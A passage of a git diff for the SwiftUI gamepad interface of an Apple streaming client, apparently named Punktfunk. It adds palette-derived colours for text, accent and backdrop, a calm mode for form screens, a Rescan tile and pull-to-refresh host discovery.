brand wash, and the edited row keeps its brand caret border. .consoleGlass( RoundedRectangle(cornerRadius: m.rowCorner, style: .continuous), - tint: (focused || editing == row.id) ? Color.brand.opacity(0.30) : nil, + tint: (focused || editing == row.id) ? ink.accent(0.30) : nil, interactive: focused) .overlay { RoundedRectangle(cornerRadius: m.rowCorner, style: .continuous) .strokeBorder( - editing == row.id ? Color.brand.opacity(0.7) : .white.opacity(focused ? 0.28 : 0.06), + editing == row.id ? ink.accent(0.7) : ink.fg(focused ? 0.28 : 0.06), lineWidth: 1) } .scaleEffect(focused ? 1.0 : 0.98) diff --git a/clients/apple/Sources/PunktfunkClient/Home/GamepadChrome.swift b/clients/apple/Sources/PunktfunkClient/Home/GamepadChrome.swift index be9c6940..f0fb8fc4 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/GamepadChrome.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/GamepadChrome.swift @@ -89,6 +89,7 @@ struct GamepadHint: Identifiable { /// worn as a self-contained Liquid Glass pill (like the top-bar controller chip) so it floats over /// the backdrop instead of dissolving into it. struct GamepadHintBar: View { + @Environment(\.gamepadInk) private var ink let hints: [GamepadHint] // 10-foot legend on tvOS, in-hand sizes elsewhere. @@ -108,26 +109,35 @@ struct GamepadHintBar: View { HStack(spacing: 7) { Image(systemName: hint.glyph) .font(.system(size: Self.glyphFont)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) Text(hint.text) } .fixedSize() // keep glyph + label together; never truncate a hint mid-word } } .font(.geist(Self.textFont, .semibold, relativeTo: .subheadline)) - .foregroundStyle(.white.opacity(0.85)) + .foregroundStyle(ink.fg(0.85)) .padding(Self.pad) .consoleGlass(Capsule()) - .overlay(Capsule().strokeBorder(.white.opacity(0.12), lineWidth: 1)) + .overlay(Capsule().strokeBorder(ink.fg(0.12), lineWidth: 1)) } } -/// The console backdrop: a living aurora in the brand's violet family, drifting slowly over black -/// so it reads as ambience behind the cards, never as content. On iOS 18 / macOS 15+ it's an -/// animated `MeshGradient` — a continuous silk of colour whose control points wander on slow, -/// out-of-phase sinusoids — finished with an elliptical vignette (pools light in the centre, sinks -/// the corners) and a top/bottom legibility scrim. Older OSes fall back to the original drifting -/// radial-blob field, unchanged, so nothing regresses. +/// The console backdrop: a living aurora drifting slowly over black so it reads as ambience behind +/// the cards, never as content. On iOS 18 / macOS 15+ it's an animated `MeshGradient` — a continuous +/// silk of colour whose control points wander on slow, out-of-phase sinusoids — finished with an +/// elliptical vignette (pools light in the centre, sinks the corners) and a top/bottom legibility +/// scrim. Older OSes fall back to the original drifting radial-blob field, unchanged, so nothing +/// regresses. +/// +/// `calm` is what the FORM screens (settings, add-host) wear: the same living field with its pools +/// dimmed onto its own corner colour, so those screens keep real colour under their Liquid Glass +/// rows without the launcher's contrast. They used to sit on a still gradient; nothing in the +/// gamepad UI is backed by a static image now. Motion is identical in both modes on purpose — only +/// the contrast differs, so a screen change can't make the field jump. +/// +/// `GamepadPalette` recolours the whole thing (the shared `ui_palette` setting) by transforming the +/// COLOURS, not by stacking a filter — see GamepadPalette.swift for why. /// /// Deliberately pure SwiftUI, no `.metal`: these sources build under both SwiftPM (`swift run`/ /// tests) and the Xcode project's synchronized folders, and a compiled metallib is only reliably @@ -136,77 +146,90 @@ struct GamepadHintBar: View { /// can't inflate the caller's layout past the safe area (see the layout note in GamepadHomeView's /// header). Honors Reduce Motion by freezing the field at a fixed phase. struct GamepadScreenBackground: View { + @Environment(\.gamepadInk) private var ink + /// Quiet the field for a form screen (see the type comment). + var calm = false + @Environment(\.accessibilityReduceMotion) private var reduceMotion + @AppStorage(DefaultsKey.uiPalette) private var paletteID = "violet" var body: some View { + let palette = GamepadPalette.named(paletteID) Group { if reduceMotion { - composite(at: 0) + composite(at: 0, palette: palette) } else { // 30 Hz is plenty for a field that drifts centimetres per minute, and halves the // redraw cost of a battery-fed couch device vs. the display's native rate. TimelineView(.animation(minimumInterval: 1.0 / 30.0)) { context in - composite(at: context.date.timeIntervalSinceReferenceDate) + composite(at: context.date.timeIntervalSinceReferenceDate, palette: palette) } } } .ignoresSafeArea() } - /// The colour field under a very slow warm/cool hue sway, an elliptical vignette, and the - /// title/hints legibility scrim. - private func composite(at t: TimeInterval) -> some View { - ZStack { - Color.black - colorField(at: t) + /// The colour field under a very slow warm/cool hue sway, the calm flattening, an elliptical + /// vignette, and the title/hints legibility scrim — in that order, matching the console + /// shader's `composite` so the two platforms' backdrops stay the same picture. + private func composite(at t: TimeInterval, palette: GamepadPalette) -> some View { + // Where the scrims tend, and how hard. Mixing a PALE field toward white at the dark + // field's strength bleaches the chroma straight out of the gradient, so a pale palette + // gets under half — the same `u_scrim.a` the console shader carries. + let scrim: Color = palette.light ? ink.fg : .black + let strength = palette.light ? 0.45 : 1.0 + return ZStack { + Self.color(palette.ground) + colorField(at: t, palette: palette) // ±8° over ~5 min — the whole field very slowly warms and cools. .hueRotation(.degrees(sin(t * 0.021) * 8)) - // Cinematic vignette: darker toward the edges so the cards sit in the pooled light. - // Soft (extends past the frame) so the corners deepen rather than crush to black. + // Calm = col·0.6 + ground·0.4: over the ground, `.opacity` IS the multiply… + .opacity(calm ? 0.6 : 1) + if calm { + // …and a plusLighter wash of the palette's own ground IS the add. Chosen so the + // ground lands exactly where it was and the bright pools come down to meet it. + Self.color(palette.ground) + .opacity(0.4) + .blendMode(.plusLighter) + } + // Cinematic vignette: the edges settle toward the scrim so the cards sit in the + // pooled light. Soft (extends past the frame) so the corners deepen rather than + // crush. Halved under calm: a launcher's cards sit in the pooled centre, but a form + // screen's rows run out toward the edges, where crushing them just eats the list. EllipticalGradient( - colors: [.clear, .black.opacity(0.42)], + colors: [.clear, scrim.opacity((calm ? 0.21 : 0.42) * strength)], center: .center, startRadiusFraction: 0.25, endRadiusFraction: 1.15) // Legibility grounding for the pinned title (top) and hint pill (bottom). This one - // darkens the aurora itself (it's the backdrop's bottom layer — nothing behind it to - // blur), so it stays a gradient, just a light one now. + // works on the field itself (it's the backdrop's bottom layer — nothing behind it to + // blur), so it stays a gradient, just a light one. LinearGradient( stops: [ - .init(color: .black.opacity(0.38), location: 0), - .init(color: .black.opacity(0.06), location: 0.32), - .init(color: .black.opacity(0.08), location: 0.68), - .init(color: .black.opacity(0.40), location: 1), + .init(color: scrim.opacity(0.38 * strength), location: 0), + .init(color: scrim.opacity(0.06 * strength), location: 0.32), + .init(color: scrim.opacity(0.08 * strength), location: 0.68), + .init(color: scrim.opacity(0.40 * strength), location: 1), ], startPoint: .top, endPoint: .bottom) } } - @ViewBuilder private func colorField(at t: TimeInterval) -> some View { + @ViewBuilder private func colorField(at t: TimeInterval, palette: GamepadPalette) -> some View { if #available(iOS 18, macOS 15, tvOS 18, *) { MeshGradient( width: 4, height: 4, points: Self.meshPoints(at: t), - colors: Self.meshColors, + colors: palette.meshColors.map(Self.color), smoothsColors: true) } else { - LegacyBlobField(t: t) + LegacyBlobField(t: t, palette: palette) } } // MARK: - MeshGradient aurora (iOS 18 / macOS 15+) - /// Sixteen mesh colours (row-major, 4×4): dark-violet corners sink the frame, the edges carry - /// mid-tone violets, and the four interior points hold the bright brand family — a violet and a - /// blue-violet up top, a magenta-violet and a violet below — so warm pools on the left, cool on - /// the right, and the silk shifts temperature as those interior points drift. - private static let meshColors: [Color] = { - let corner = Color(red: 0.075, green: 0.060, blue: 0.160) - return [ - corner, Color(red: 0.34, green: 0.27, blue: 0.72), Color(red: 0.30, green: 0.26, blue: 0.74), corner, - Color(red: 0.42, green: 0.20, blue: 0.54), Color(red: 0.49, green: 0.39, blue: 0.95), Color(red: 0.28, green: 0.31, blue: 0.84), Color(red: 0.16, green: 0.26, blue: 0.64), - Color(red: 0.45, green: 0.23, blue: 0.60), Color(red: 0.53, green: 0.31, blue: 0.75), Color(red: 0.35, green: 0.35, blue: 0.91), Color(red: 0.19, green: 0.28, blue: 0.70), - corner, Color(red: 0.22, green: 0.18, blue: 0.54), Color(red: 0.24, green: 0.20, blue: 0.58), corner, - ] - }() + static func color(_ c: SIMD3) -> Color { + Color(red: c.x, green: c.y, blue: c.z) + } /// The 4×4 control points at time `t`: every boundary point is PINNED to the frame (so the mesh /// always fills edge-to-edge — a drifting edge point would shrink the mesh and expose the black @@ -233,15 +256,18 @@ struct GamepadScreenBackground: View { } /// Pre-18/15 fallback for `GamepadScreenBackground`: the original drifting radial-blob field — four -/// soft colour blobs on slow Lissajous paths, additively blended. Kept verbatim so older OSes see -/// exactly the aurora they shipped with (the mesh path is the upgrade for OS 18/15+). +/// soft colour blobs on slow Lissajous paths, additively blended. Geometry and motion are verbatim +/// so older OSes see exactly the aurora they shipped with (the mesh path is the upgrade for OS +/// 18/15+); only the blob COLOURS now pass through the palette, so an older device honours the +/// setting too instead of being stuck on violet. private struct LegacyBlobField: View { let t: TimeInterval + let palette: GamepadPalette /// One drifting color blob: a base position + drift ellipse (unit coordinates), angular speeds - /// (rad/s — periods of 30–90 s), and a radius that slowly breathes. + /// (rad/s — periods of 30–90 s), and a radius that slowly breathes. The COLOUR comes from the + /// palette's ramp at draw time (see `blobColors`), so an older OS honours the setting too. private struct Blob { - let color: Color let center: CGPoint let drift: CGSize let speed: (x: Double, y: Double) @@ -252,20 +278,16 @@ private struct LegacyBlobField: View { } private static let blobs: [Blob] = [ - Blob(color: Color(red: 0.53, green: 0.47, blue: 0.96), // brand violet - center: CGPoint(x: 0.30, y: 0.24), drift: CGSize(width: 0.16, height: 0.10), + Blob(center: CGPoint(x: 0.30, y: 0.24), drift: CGSize(width: 0.16, height: 0.10), speed: (0.111, 0.083), phase: (0.0, 1.9), radius: 0.52, breathe: (0.07, 0.061), opacity: 0.52), - Blob(color: Color(red: 0.24, green: 0.20, blue: 0.72), // deep indigo - center: CGPoint(x: 0.78, y: 0.66), drift: CGSize(width: 0.13, height: 0.14), + Blob(center: CGPoint(x: 0.78, y: 0.66), drift: CGSize(width: 0.13, height: 0.14), speed: (0.071, 0.096), phase: (2.4, 0.7), radius: 0.58, breathe: (0.08, 0.049), opacity: 0.55), - Blob(color: Color(red: 0.62, green: 0.30, blue: 0.80), // plum - center: CGPoint(x: 0.16, y: 0.82), drift: CGSize(width: 0.12, height: 0.09), + Blob(center: CGPoint(x: 0.16, y: 0.82), drift: CGSize(width: 0.12, height: 0.09), speed: (0.089, 0.067), phase: (4.1, 3.2), radius: 0.44, breathe: (0.09, 0.078), opacity: 0.42), - Blob(color: Color(red: 0.22, green: 0.38, blue: 0.86), // cool blue - center: CGPoint(x: 0.70, y: 0.12), drift: CGSize(width: 0.10, height: 0.08), + Blob(center: CGPoint(x: 0.70, y: 0.12), drift: CGSize(width: 0.10, height: 0.08), speed: (0.059, 0.104), phase: (1.2, 5.0), radius: 0.40, breathe: (0.06, 0.055), opacity: 0.38), ] @@ -275,26 +297,31 @@ private struct LegacyBlobField: View { let side = max(geo.size.width, geo.size.height) ZStack { ForEach(Self.blobs.indices, id: \.self) { i in - blobView(Self.blobs[i], in: geo.size, side: side) + blobView(Self.blobs[i], tone: palette.blobColors[i], in: geo.size, side: side) } } .drawingGroup() } } - private func blobView(_ blob: Blob, in size: CGSize, side: CGFloat) -> some View { + private func blobView( + _ blob: Blob, tone: SIMD3, in size: CGSize, side: CGFloat + ) -> some View { let x = blob.center.x + blob.drift.width * CGFloat(sin(t * blob.speed.x + blob.phase.x)) let y = blob.center.y + blob.drift.height * CGFloat(cos(t * blob.speed.y + blob.phase.y)) let r = side * blob.radius * (1 + blob.breathe.amount * CGFloat(sin(t * blob.breathe.speed + blob.phase.x))) + let color = GamepadScreenBackground.color(tone) return Circle() .fill(RadialGradient( - colors: [blob.color, blob.color.opacity(0)], + colors: [color, color.opacity(0)], center: .center, startRadius: 0, endRadius: r / 2)) .frame(width: r, height: r) .position(x: x * size.width, y: y * size.height) .opacity(blob.opacity) - .blendMode(.plusLighter) + // Additive only works over a DARK ground; over a pale one every blob saturates to + // white and the field turns grey. Pale palettes tint instead. + .blendMode(palette.light ? .normal : .plusLighter) } } @@ -304,15 +331,17 @@ private struct LegacyBlobField: View { /// the tray's text sits on a softly blurred backdrop that dissolves into the rows. struct GamepadTrayScrim: View { let edge: VerticalEdge + @Environment(\.gamepadInk) private var ink var body: some View { let fromEdge: UnitPoint = edge == .top ? .top : .bottom let toContent: UnitPoint = edge == .top ? .bottom : .top Rectangle() .fill(.ultraThinMaterial) - // These trays always sit on the dark console UI; force dark so the material frosts dark - // (white text stays legible) regardless of the system appearance. - .environment(\.colorScheme, .dark) + // Force the frost to match the PALETTE, not the system appearance: the tray exists + // to keep the pinned title legible, so it has to frost dark under white ink and + // light under dark ink. + .environment(\.colorScheme, ink.isLight ? .light : .dark) // Fade the whole blur out toward the content so it dissolves rather than ending on a line. .mask { LinearGradient( @@ -330,27 +359,16 @@ struct GamepadTrayScrim: View { } } -/// The calm backdrop for the gamepad UI's form screens (settings, add-host) — NOT the launcher's -/// drifting aurora (this stays still and quiet), but deliberately NOT near-black either: Liquid -/// Glass refracts whatever sits behind it, so over black the rows turn invisible. A deep indigo -/// base plus two soft, static violet/indigo glows give the glass real colour and luminance to lens, -/// so the rows read as glass while the screen stays restful. +/// The backdrop for the gamepad UI's form screens (settings, add-host). It used to be a STILL pair +/// of glows over a deep indigo base — deliberately not near-black, because Liquid Glass refracts +/// whatever sits behind it and over black the rows turn invisible. It is now the launcher's own +/// living field at `calm`, which keeps that luminance under the glass, keeps the palette setting +/// honoured on every screen rather than only the launcher, and leaves nothing in the gamepad UI +/// backed by a static image. Kept as its own type because that is what the form screens ask for by +/// name; the console (`pf-console-ui`) made the same substitution behind its `Bg::Form`. struct GamepadFormBackground: View { var body: some View { - ZStack { - Color(red: 0.075, green: 0.062, blue: 0.150) - // Violet lift top-leading, cooler indigo bottom-trailing — resolution-independent - // (fraction radii) so the glow scale tracks the window on any screen. - EllipticalGradient( - colors: [Color(red: 0.40, green: 0.31, blue: 0.68).opacity(0.9), .clear], - center: UnitPoint(x: 0.26, y: 0.14), - startRadiusFraction: 0, endRadiusFraction: 0.78) - EllipticalGradient( - colors: [Color(red: 0.20, green: 0.24, blue: 0.58).opacity(0.75), .clear], - center: UnitPoint(x: 0.82, y: 0.9), - startRadiusFraction: 0, endRadiusFraction: 0.78) - } - .ignoresSafeArea() + GamepadScreenBackground(calm: true) } } @@ -373,6 +391,7 @@ struct ConsoleBareButtonStyle: ButtonStyle { /// chip in the launcher's top bar. Callers observe GamepadManager already, so this re-renders /// when the pad or its battery state changes. struct ControllerStatusChip: View { + @Environment(\.gamepadInk) private var ink let controller: GamepadManager.DiscoveredController // Legible from the couch on tvOS, quiet in hand elsewhere. @@ -397,15 +416,15 @@ struct ControllerStatusChip: View { Image(systemName: batterySymbol(level)) .font(.system(size: Self.font)) .foregroundStyle(level <= 0.2 && !controller.isCharging - ? AnyShapeStyle(.red) : AnyShapeStyle(.white.opacity(0.7))) + ? AnyShapeStyle(.red) : AnyShapeStyle(ink.fg(0.7))) } } .font(.geist(Self.font, .medium, relativeTo: .caption)) - .foregroundStyle(.white.opacity(0.7)) + .foregroundStyle(ink.fg(0.7)) .padding(.horizontal, Self.hPad) .padding(.vertical, Self.vPad) - .background(Capsule().fill(.white.opacity(0.08))) - .overlay(Capsule().strokeBorder(.white.opacity(0.12), lineWidth: 1)) + .background(Capsule().fill(ink.fg(0.08))) + .overlay(Capsule().strokeBorder(ink.fg(0.12), lineWidth: 1)) } private func batterySymbol(_ level: Float) -> String { diff --git a/clients/apple/Sources/PunktfunkClient/Home/GamepadHomeView.swift b/clients/apple/Sources/PunktfunkClient/Home/GamepadHomeView.swift index 2db6afc4..030ce2dd 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/GamepadHomeView.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/GamepadHomeView.swift @@ -23,14 +23,15 @@ import SwiftUI #if os(iOS) || os(macOS) || os(tvOS) import GameController -/// One navigable tile: a saved host, a discovered-but-unsaved one, or the trailing Add Host -/// action. Hashable so it can be the carousel's scroll-position identity. +/// One navigable tile: a saved host, a discovered-but-unsaved one, or one of the trailing +/// actions. Hashable so it can be the carousel's scroll-position identity. private enum GamepadHomeTarget: Hashable { /// A saved host's own tile, or one of its pinned host+profile cards (§5.2a) — which on a /// controller-first surface are THE profile affordance: focus and press, no menus. case saved(UUID, profile: String?) case discovered(String) case addHost + case rescan } /// A fully-resolved launcher tile — display fields + the activate action, built fresh each render @@ -63,6 +64,7 @@ private struct HomeTile: Identifiable { } struct GamepadHomeView: View { + @Environment(\.gamepadInk) private var ink @ObservedObject var store: HostStore @ObservedObject var model: SessionModel @ObservedObject var discovery: HostDiscovery @@ -114,6 +116,9 @@ struct GamepadHomeView: View { .padding(.top, compact ? 4 : 8) } .background { GamepadScreenBackground() } + // Publish the palette's ink to this screen (text, glass, accent, scrims) — a + // pale palette flips all of them, and no leaf should have to read the setting. + .gamepadPaletteInk() .onAppear { discovery.start() } .onDisappear { discovery.stop() } // Reachability sweep (mDNS-independent) so routed/VPN hosts that never advertise still show @@ -185,7 +190,7 @@ struct GamepadHomeView: View { statusChip(hidden: true) Text("Select a Host") .font(.geist(gamepadTitleSize(compact: compact), .bold, relativeTo: .title)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) .lineLimit(1) .minimumScaleFactor(0.75) .frame(maxWidth: .infinity) @@ -262,10 +267,14 @@ struct GamepadHomeView: View { private var hints: [GamepadHint] { let selected = tiles.first { $0.id == selection } + let action: String? = switch selected?.id { + case .addHost: "Add Host" + case .rescan: "Rescan" + default: nil + } var hints = [GamepadHint( glyph: buttonGlyph(\.buttonA, fallback: "a.circle"), - text: selected?.id == .addHost ? "Add Host" - : (selected?.canWake == true ? "Wake & Connect" : "Connect"))] + text: action ?? (selected?.canWake == true ? "Wake & Connect" : "Connect"))] if libraryEnabled, selected?.hasLibrary == true { hints.append(.init(glyph: buttonGlyph(\.buttonY, fallback: "y.circle"), text: "Library")) } @@ -325,7 +334,15 @@ struct GamepadHomeView: View { subtitle: "Register a host by address", icon: "plus", activate: { showAddHost = true }) - return saved + discovered + [add] + // A controller surface has no toolbar and no pull-to-refresh, so the rescan the field + // asked for is a tile like any other — one press from wherever the stick already is. + let rescan = HomeTile( + id: .rescan, + title: "Rescan", + subtitle: discovery.isScanning ? "Scanning…" : "Look for hosts on this network", + icon: "arrow.clockwise", + activate: { discovery.refresh() }) + return saved + discovered + [add, rescan] } /// Only saved hosts have a library — matches the touch grid, where "Browse Library…" is a @@ -342,6 +359,7 @@ struct GamepadHomeView: View { /// touch grid's `HostCardView`. Renders only its base look; the centered-tile pop is layered on by /// the caller's `.scrollTransition` so it always tracks the real scroll position. private struct GamepadHostTile: View { + @Environment(\.gamepadInk) private var ink let tile: HomeTile let size: CGSize @@ -381,7 +399,7 @@ private struct GamepadHostTile: View { if tile.isPaired { Image(systemName: "lock.fill") .font(.system(size: Self.statusFont, weight: .semibold)) - .foregroundStyle(.white.opacity(0.5)) + .foregroundStyle(ink.fg(0.5)) } if tile.isOnline { Circle() @@ -394,7 +412,7 @@ private struct GamepadHostTile: View { Spacer(minLength: 0) Text(tile.title) .font(.geist(Self.titleFont, .bold, relativeTo: .title2)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) .lineLimit(1) .minimumScaleFactor(0.7) if let profile = tile.profile { @@ -404,7 +422,7 @@ private struct GamepadHostTile: View { } Text(tile.subtitle) .font(.geist(Self.subtitleFont, relativeTo: .caption)) - .foregroundStyle(.white.opacity(0.55)) + .foregroundStyle(ink.fg(0.55)) .lineLimit(1) .padding(.top, 2) } @@ -414,12 +432,12 @@ private struct GamepadHostTile: View { // Add-Host tiles stay neutral glass with a dashed edge. Glass clips to the shape itself. .consoleGlass( RoundedRectangle(cornerRadius: Self.corner, style: .continuous), - tint: tile.filled ? Color.brand.opacity(0.20) : nil) + tint: tile.filled ? ink.accent(0.20) : nil) .overlay { RoundedRectangle(cornerRadius: Self.corner, style: .continuous) .strokeBorder( LinearGradient( - colors: [.white.opacity(0.22), .white.opacity(0.04)], + colors: [ink.fg(0.22), ink.fg(0.04)], startPoint: .top, endPoint: .bottom), style: StrokeStyle(lineWidth: 1, dash: tile.filled ? [] : [6, 5])) } @@ -431,15 +449,15 @@ private struct GamepadHostTile: View { return ZStack { shape.fill(tile.filled ? AnyShapeStyle(LinearGradient( - colors: [Color.brand, Color.brand.opacity(0.68)], + colors: [ink.accent, ink.accent(0.68)], startPoint: .top, endPoint: .bottom)) - : AnyShapeStyle(Color.brand.opacity(0.16))) + : AnyShapeStyle(ink.accent(0.16))) if tile.isConnecting { - ProgressView().tint(.white) + ProgressView().tint(ink.fg) } else if let icon = tile.icon { Image(systemName: icon) .font(.system(size: Self.iconFont, weight: .semibold)) - .foregroundStyle(Color.brand) + .foregroundStyle(ink.accent) } else if let mark = osIconImage(for: tile.osChain) { // The OS mark stands in for the initial (template asset — tints like the text it // replaces), and carries the label, since nothing else on the tile names the OS. @@ -447,18 +465,18 @@ private struct GamepadHostTile: View { .resizable() .scaledToFit() .frame(width: Self.monogramFont, height: Self.monogramFont) - .foregroundStyle(tile.filled ? .white : Color.brand) + .foregroundStyle(tile.filled ? ink.fg : ink.accent) .accessibilityLabel(tile.osChain ?? "") } else { Text(monogram(tile.title)) .font(.geistFixed(Self.monogramFont, .bold)) - .foregroundStyle(tile.filled ? .white : Color.brand) + .foregroundStyle(tile.filled ? ink.fg : ink.accent) } } .frame(width: Self.badgeSide, height: Self.badgeSide) .overlay { if !tile.filled { - shape.strokeBorder(Color.brand.opacity(0.5), lineWidth: 1) + shape.strokeBorder(ink.accent(0.5), lineWidth: 1) } } } diff --git a/clients/apple/Sources/PunktfunkClient/Home/GamepadInk.swift b/clients/apple/Sources/PunktfunkClient/Home/GamepadInk.swift new file mode 100644 index 00000000..fbb74b34 --- /dev/null +++ b/clients/apple/Sources/PunktfunkClient/Home/GamepadInk.swift @@ -0,0 +1,91 @@ +// The ink the gamepad UI draws with under the chosen background palette. +// +// The console screens were white-on-dark throughout with the brand violet hardcoded as the +// accent. Both had to become palette-derived at once: a pale field needs dark text or it is +// unreadable, and a violet focus wash on a copper field is exactly the clash this exists to fix. +// +// Handed down the view tree as an environment value rather than passed to each screen, so a +// leaf (a row, a hint pill, a card) can ask for the right colour without every caller in between +// knowing about palettes. `pf-console-ui` does the same thing with a thread-local `Ink`. + +import PunktfunkShared +import SwiftUI + +#if os(iOS) || os(macOS) || os(tvOS) + +struct GamepadInk: Equatable, Sendable { + /// Primary text/glyph colour. + let fg: Color + /// Focus wash, selected tab pill, switch track, caret — the palette's own accent. + let accent: Color + /// What reads ON the accent (a filled pill's label). + let onAccent: Color + /// The base fill every glass surface starts from. + let glass: Color + /// What a wash laid UNDER text tends toward: black on a dark field, white on a pale one. + let shade: Color + /// How hard those washes go. A pale field needs far less — mixing toward white at the dark + /// field's strength bleaches the chroma straight out of the gradient. + let shadeScale: Double + /// True when the field is pale, for the few places that need to branch rather than blend + /// (a material's `colorScheme`, a shadow's presence). + let isLight: Bool + + /// The foreground at `alpha`. + func fg(_ alpha: Double) -> Color { fg.opacity(alpha) } + /// The accent at `alpha`. + func accent(_ alpha: Double) -> Color { accent.opacity(alpha) } + /// A wash under text: `alpha` is the dark-field strength, scaled for a pale one. + func shade(_ alpha: Double) -> Color { shade.opacity(alpha * shadeScale) } + + static func of(_ p: GamepadPalette) -> GamepadInk { + let accent = Color(red: p.accent.x, green: p.accent.y, blue: p.accent.z) + let accentLuma = 0.2126 * p.accent.x + 0.7152 * p.accent.y + 0.0722 * p.accent.z + // Chosen by luminance, not by `light`: an accent is picked for contrast against the + // GLASS, not against the field. + let onAccent: Color = accentLuma > 0.55 ? .black : .white + guard p.light else { + return GamepadInk( + fg: .white, accent: accent, onAccent: onAccent, + glass: Color(red: 0.086, green: 0.086, blue: 0.125), + shade: .black, shadeScale: 1, isLight: false) + } + return GamepadInk( + // Tinted toward the palette's own ground so it doesn't read as a foreign grey. + fg: Color(red: p.ground.x * 0.16, green: p.ground.y * 0.14, blue: p.ground.z * 0.20), + accent: accent, onAccent: onAccent, + glass: .white, + shade: .white, shadeScale: 0.45, isLight: true) + } + + /// The shipped dark look — what a preview or a test composition gets. + static let dark = GamepadInk.of(GamepadPalette.named("violet")) +} + +private struct GamepadInkKey: EnvironmentKey { + static let defaultValue = GamepadInk.dark +} + +extension EnvironmentValues { + /// The ink of the palette currently drawing. Set once, high up (see `GamepadInkModifier`). + var gamepadInk: GamepadInk { + get { self[GamepadInkKey.self] } + set { self[GamepadInkKey.self] = newValue } + } +} + +extension View { + /// Resolve the stored `ui_palette` and publish its ink to everything below. Applied by the + /// gamepad screens' common root so no individual view has to read the setting. + func gamepadPaletteInk() -> some View { modifier(GamepadInkModifier()) } +} + +private struct GamepadInkModifier: ViewModifier { + @AppStorage(DefaultsKey.uiPalette) private var paletteID = "violet" + + func body(content: Content) -> some View { + content.environment(\.gamepadInk, GamepadInk.of(GamepadPalette.named(paletteID))) + } +} + +#endif diff --git a/clients/apple/Sources/PunktfunkClient/Home/GamepadKeyboard.swift b/clients/apple/Sources/PunktfunkClient/Home/GamepadKeyboard.swift index 05882914..88965c6c 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/GamepadKeyboard.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/GamepadKeyboard.swift @@ -14,6 +14,7 @@ import SwiftUI #if os(iOS) || os(macOS) struct GamepadKeyboard: View { + @Environment(\.gamepadInk) private var ink @Binding var text: String /// Restricts typed characters (e.g. digits for a port field); backspace always works. var allowed: CharacterSet? @@ -79,7 +80,7 @@ struct GamepadKeyboard: View { } .overlay { RoundedRectangle(cornerRadius: 22, style: .continuous) - .strokeBorder(.white.opacity(0.12), lineWidth: 1) + .strokeBorder(ink.fg(0.12), lineWidth: 1) } .sensoryFeedback(.selection, trigger: cursor) .sensoryFeedback(.impact(weight: .light), trigger: pressTick) @@ -110,11 +111,11 @@ struct GamepadKeyboard: View { .font(.geist(15, .semibold, relativeTo: .callout)) } } - .foregroundStyle(focused ? Color.black : .white) + .foregroundStyle(focused ? Color.black : ink.fg) .frame(maxWidth: .infinity, minHeight: compact ? 34 : 42) .background { RoundedRectangle(cornerRadius: 9, style: .continuous) - .fill(focused ? AnyShapeStyle(Color.brand) : AnyShapeStyle(.white.opacity(0.08))) + .fill(focused ? AnyShapeStyle(ink.accent) : AnyShapeStyle(ink.fg(0.08))) } .animation(.smooth(duration: 0.12), value: focused) .contentShape(Rectangle()) diff --git a/clients/apple/Sources/PunktfunkClient/Home/GamepadMenuList.swift b/clients/apple/Sources/PunktfunkClient/Home/GamepadMenuList.swift index bf916fc4..e156eb40 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/GamepadMenuList.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/GamepadMenuList.swift @@ -35,6 +35,10 @@ struct GamepadMenuList: View where Item.ID: Hasha let onActivate: (Item) -> Void /// B → back/dismiss; nil disables it. var onBack: (() -> Void)? + /// L1 (`-1`) / R1 (`+1`) — a step SIDEWAYS out of the list: the settings screen's section + /// tabs. Wired on tvOS too, where the focus engine owns up/down but leaves the shoulders + /// to the poll. nil ⇒ the shoulders do nothing. + var onShoulder: ((Int) -> Void)? /// Whether this list currently owns controller input — same handoff contract as /// GamepadCarousel's `isActive` (a covered screen must stop polling the shared pad). var isActive: Bool = true @@ -159,6 +163,7 @@ struct GamepadMenuList: View where Item.ID: Hasha case .up, .down: break } } + input.onShoulder = { forward in onShoulder?(forward ? 1 : -1) } #else input.onMove = { direction in switch direction { @@ -170,6 +175,7 @@ struct GamepadMenuList: View where Item.ID: Hasha } input.onConfirm = { activate() } input.onBack = onBack + input.onShoulder = { forward in onShoulder?(forward ? 1 : -1) } #endif } diff --git a/clients/apple/Sources/PunktfunkClient/Home/HomeView.swift b/clients/apple/Sources/PunktfunkClient/Home/HomeView.swift index f0f68331..917db98f 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/HomeView.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/HomeView.swift @@ -53,7 +53,18 @@ struct HomeView: View { NavigationStack { Group { if store.hosts.isEmpty && discoveredUnsaved.isEmpty { - emptyState + #if os(tvOS) + emptyState // no pull-to-refresh on a remote; the action row carries Refresh + #else + // Inside a ScrollView purely so the pull gesture works on the ONE screen + // where a rescan matters most: the one that found nothing. + ScrollView { + emptyState + .frame(maxWidth: .infinity) + .containerRelativeFrame(.vertical) + } + .refreshable { await discovery.rescan() } + #endif } else { ScrollView { if !store.hosts.isEmpty { @@ -94,6 +105,7 @@ struct HomeView: View { } label: { Label("Settings", systemImage: "gearshape") } + refreshButton } .padding(.top, 24) // One FULL-WIDTH focus target for any downward move out of the grid. @@ -106,6 +118,9 @@ struct HomeView: View { .focusSection() #endif } + #if !os(tvOS) + .refreshable { await discovery.rescan() } + #endif } } .navigationTitle("Punktfunk") @@ -151,6 +166,7 @@ struct HomeView: View { if showsArrangeMenu { ToolbarItem(placement: .topBarTrailing) { arrangeMenu } } + ToolbarItem(placement: .topBarTrailing) { refreshButton } ToolbarItem(placement: .topBarTrailing) { addHostButton } #else if showsArrangeMenu { @@ -159,6 +175,10 @@ struct HomeView: View { .help("Sort and group the host list") } } + ToolbarItem(placement: .primaryAction) { + refreshButton + .help("Scan the network for hosts again") + } ToolbarItem(placement: .primaryAction) { addHostButton .help("Add a host") @@ -324,13 +344,20 @@ struct HomeView: View { ContentUnavailableView { Label("No Hosts", systemImage: "rectangle.connected.to.line.below") } description: { - Text("Add your punktfunk host with the + button.") + Text("Add your Punktfunk host with the + button, or scan the network again.") } actions: { Button("Add Host") { showAddHost = true } .glassProminentButtonStyle() #if os(iOS) .controlSize(.large) #endif + // The screen 